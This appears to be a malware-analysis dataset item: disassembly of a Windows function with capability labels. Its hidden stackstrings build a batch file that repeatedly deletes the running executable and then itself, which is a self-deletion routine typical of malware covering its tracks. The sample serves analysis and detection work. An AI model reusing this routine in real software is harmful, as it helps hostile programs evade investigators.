Function at 0x4018cb
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x698
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x17]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x27]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
xor eax, eax
lea edi, [ebp - 0x3b]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
lea edi, [ebp - 7]
stosd dword es:[edi], eax
mov byte [ebp - 0x18], 0x3a
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0x79
mov byte [ebp - 0x14], 0xd
mov byte [ebp - 0x13], 0xa
mov byte [ebp - 0x12], 0x64
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x20
mov byte [ebp - 0xe], 0x22
mov byte [ebp - 0x28], 0x22
mov byte [ebp - 0x27], 0xd
mov byte [ebp - 0x26], 0xa
mov byte [ebp - 0x25], 0x69
mov byte [ebp - 0x24], 0x66
mov byte [ebp - 0x23], 0x20
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x78
mov byte [ebp - 0x20], 0x69
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0x74
mov byte [ebp - 0x1d], 0x20
mov byte [ebp - 0x1c], 0x22
mov byte [ebp - 0x3c], 0x22
mov byte [ebp - 0x3b], 0x20
mov byte [ebp - 0x3a], 0x67
mov byte [ebp - 0x39], 0x6f
mov byte [ebp - 0x38], 0x74
mov byte [ebp - 0x37], 0x6f
mov byte [ebp - 0x36], 0x20
mov byte [ebp - 0x35], 0x74
mov byte [ebp - 0x34], 0x72
mov byte [ebp - 0x33], 0x79
mov byte [ebp - 0x32], 0xd
mov byte [ebp - 0x31], 0xa
mov byte [ebp - 0x30], 0x64
mov byte [ebp - 0x2f], 0x65
mov byte [ebp - 0x2e], 0x6c
mov byte [ebp - 0x2d], 0x20
mov byte [ebp - 0x2c], 0x25
mov byte [ebp - 0x2b], 0x30
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x62
mov byte [ebp - 6], 0x61
mov byte [ebp - 5], 0x74
jmp 0x4019c7
lea eax, [ebp - 0x194]
push 0x104
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x194]
push eax
lea eax, [ebp - 0x298]
push eax
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
call edi
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x194]
push eax
call esi
xor ebx, ebx
lea eax, [ebp - 0x194]
push ebx
push 0x80
push 2
push ebx
push 1
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x401b0f
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x698]
push eax
call edi
lea eax, [ebp - 0x298]
push eax
lea eax, [ebp - 0x698]
push eax
call esi
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x698]
push eax
call esi
jmp 0x401a69
lea eax, [ebp - 0x298]
push eax
lea eax, [ebp - 0x698]
push eax
call esi
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x698]
push eax
call esi
lea eax, [ebp - 0xc]
push ebx
push eax
lea eax, [ebp - 0x698]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
lea eax, [ebp - 0x698]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
call esi
jmp 0x401ac4
push 0x44
lea eax, [ebp - 0x90]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x64], 1
mov word [ebp - 0x60], bx
push eax
lea eax, [ebp - 0x90]
push eax
push ebx
push ebx
push pe_nt_image_headers32
push ebx
push ebx
lea eax, [ebp - 0x194]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
je 0x401b0f
push dword [ebp - 0x48]
call esi
push dword [ebp - 0x4c]
call esi
pop edi
pop esi
pop ebx
leave
ret